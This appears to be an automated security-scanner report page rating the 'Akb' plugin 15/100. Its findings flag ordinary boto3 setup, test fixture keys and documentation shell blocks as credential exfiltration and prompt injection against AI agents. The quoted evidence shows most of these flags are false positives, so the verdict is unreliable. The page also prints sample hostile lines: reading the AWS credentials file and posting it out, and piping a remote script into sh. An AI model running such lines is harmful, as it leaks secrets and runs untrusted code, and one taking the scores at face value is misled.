Akb— plugin

Akb — independently scanned and version-tracked by SaferSkills.

by dnotitia·Plugin·github.com/dnotitia/akb

Is Akb safe to install?

SaferSkills independently audited Akb (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 25 high-severity and 1 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
●●○○○○○○○○
Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings1 warnings · 25 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 26 flagged

Securityscore 0 · 26 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · backend/app/services/adapters/s3_adapter.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=access_key,). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptbackend/app/services/adapters/s3_adapter.py· python
118"s3",
119endpoint_url=endpoint_url or None,
120aws_access_key_id=access_key,
121aws_secret_access_key=secret_key,
122config=_boto_config(endpoint_url=endpoint_url),
Occurrences
2 occurrences · first at L120, also L121
Show all 2 locations
Line
File
L120
backend/app/services/adapters/s3_adapter.py
L121
backend/app/services/adapters/s3_adapter.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · backend/tests/test_e2e_runtime_reset_isolation.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id="akb-ci", aws_secret_access_ke…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptbackend/tests/test_e2e_runtime_reset_isolation.py· python
63s3 = boto3.client(
64"s3", endpoint_url=runtime.config.minio_origin,
65aws_access_key_id="akb-ci", aws_secret_access_key="akb-ci-secret", # pragma: allowlist secr
… (2 chars elided on L65)
66)
67await asyncio.to_thread(s3.put_object, Bucket=old_bucket, Key="reset-sentinel", Body=b"old")
Occurrences
2 occurrences · first at L65, also L65
Show all 2 locations
Line
File
L65
backend/tests/test_e2e_runtime_reset_isolation.py
L65
backend/tests/test_e2e_runtime_reset_isolation.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · backend/tests/test_s3_workload_identity_unit.py×11
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (monkeypatch.setenv("AWS_ACCESS_KEY_ID", "ambient…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptbackend/tests/test_s3_workload_identity_unit.py· python
41monkeypatch.setattr(audit_log, "_s3", None)
42# Deliberately hostile ambient values must never affect managed identity.
43monkeypatch.setenv("AWS_ACCESS_KEY_ID", "ambient-key")
44monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "ambient-secret")
45monkeypatch.setenv("AWS_SESSION_TOKEN", "ambient-session")
Occurrences
11 occurrences · first at L43, also L44, L45 +8 more
Show all 11 locations
Line
File
L43
backend/tests/test_s3_workload_identity_unit.py
L44
backend/tests/test_s3_workload_identity_unit.py
L45
backend/tests/test_s3_workload_identity_unit.py
L249
backend/tests/test_s3_workload_identity_unit.py
L250
backend/tests/test_s3_workload_identity_unit.py
L251
backend/tests/test_s3_workload_identity_unit.py
L261
backend/tests/test_s3_workload_identity_unit.py
L262
backend/tests/test_s3_workload_identity_unit.py
L286
backend/tests/test_s3_workload_identity_unit.py
L286
backend/tests/test_s3_workload_identity_unit.py
L286
backend/tests/test_s3_workload_identity_unit.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · backend/tests/test_user_avatar_postgres.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id=os.environ.get("AKB_TEST_AVATA…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptbackend/tests/test_user_avatar_postgres.py· python
269bucket = f"avatar-fixture-{uuid.uuid4().hex}"
270client = boto3.client("s3", endpoint_url=endpoint,
271aws_access_key_id=os.environ.get("AKB_TEST_AVATAR_S3_ACCESS_KEY", "akb-ci"),
272aws_secret_access_key=os.environ.get("AKB_TEST_AVATAR_S3_SECRET_KEY", "akb-ci-secret"))
273await asyncio.to_thread(client.create_bucket, Bucket=bucket)
Occurrences
2 occurrences · first at L271, also L272
Show all 2 locations
Line
File
L271
backend/tests/test_user_avatar_postgres.py
L272
backend/tests/test_user_avatar_postgres.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · scripts/ci/e2e_runtime.py×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (aws_access_key_id="akb-ci",). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptscripts/ci/e2e_runtime.py· python
2264"s3",
2265endpoint_url=self.config.minio_origin,
2266aws_access_key_id="akb-ci",
2267aws_secret_access_key="akb-ci-secret",
2268)
Occurrences
2 occurrences · first at L2266, also L2267
Show all 2 locations
Line
File
L2266
scripts/ci/e2e_runtime.py
L2267
scripts/ci/e2e_runtime.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205ee…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · backend/CHANGELOG.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptbackend/CHANGELOG.md· markdown
3026```python
3027return int.from_bytes(raw[:8], "big", signed=False)
3028```
3029 
3030Coral's JSONL ingest path parses INT64 columns through `arrow_json::Decoder`. Arrow's INT64
… (108 chars elided on L3030)
3031 
3032Random UUIDs have a high bit set in their first 8 bytes about 50% of the time. The "sustaine
… (108 chars elided on L3032)
3033 
3034Direct check on the live PG vault that was reproducing the failure:
Occurrences
1 occurrence · at L3026
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256cdfce48b4bcca093…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · deploy/helm/akb/README.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdeploy/helm/akb/README.md· markdown
31```bash
32kubectl create namespace akb
33# Provision Secret/akb-secret through the operator's credential process.
34 
35# PostgreSQL with the vchord_bm25 BM25 index, which gives a new database the
36# default `vchord` sparse shape. Build it next to the backend and frontend images.
37docker buildx build -t ghcr.io/example/akb-postgres:pg16 --push deploy/postgres
38 
39helm upgrade --install akb deploy/helm/akb \
Occurrences
1 occurrence · at L31
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256422b951ba9588e3e…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/designs/pg-native-rbac/00-overview.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/designs/pg-native-rbac/00-overview.md· markdown
114```python
115class RoleSync:
116def __init__(self, pool): ...
117 
118# Lifecycle hooks — called by services after their system DB write.
119# Best-effort: failures are logged and audited; reconciler covers drift.
120async def on_user_create(self, user_id) -> None
121async def on_user_delete(self, user_id) -> None
122async def on_vault_create(self, vault_id, owner_user_id) -> None
Occurrences
1 occurrence · at L114
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256e6b1afc3ec061a51…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/designs/search-filter-contract.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/designs/search-filter-contract.md· markdown
142```sh
143cd backend
144uv run pytest tests/test_search_filter_contract_unit.py -q
145```
146 
147Frontend gates:
148 
149```sh
150cd frontend
Occurrences
1 occurrence · at L142
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256f34f123b9363b8cb…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/operations/native-installation.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/operations/native-installation.md· markdown
19```sh
20python -m app.cli prepare-native-config \
21--source config/app.yaml.example \
22--secret config/native/secret.yaml \
23--output config/native/app.yaml \
24--tenant-id my-installation \
25--namespace akb \
26--image-digest sha256:REPLACE_WITH_INITIAL_IMAGE_DIGEST
27```
Occurrences
1 occurrence · at L19
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2560727e72272ada11e…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/operations/prepared-identity-target.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/operations/prepared-identity-target.md· markdown
52```sh
53python -m app.sso.prepare_target_host \
54--input-file /private/transition/host-input.json \
55--output-dir /private/transition/prepared
56```
57 
58The command reuses the standalone Keycloak profile adapter. It configures exact
59callbacks, signing/rotation policy, AMR, broker password guard, realm events and
60login presentation. The permanent manager retains exactly the established six
Occurrences
1 occurrence · at L52
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256fdc812b8e3e43cc5…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · docs/design/accepted/2026-08-10-document-image-lifecycle/README.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptdocs/design/accepted/2026-08-10-document-image-lifecycle/README.md· markdown
97| Delete a vault | Revoked with the vault | Rows are removed immediately; every object key i
… (48 chars elided on L97)
98| Abandon an upload before save | Uploader-only preview until expiry | Collected after the u
… (21 chars elided on L98)
99| Never confirm a standalone File upload | Never visible | Pending metadata and any uploaded
… (52 chars elided on L99)
100 
101The collector first removes an indexed, bounded batch of expired revision
Occurrences
1 occurrence · at L99
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25666786b2632885670…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.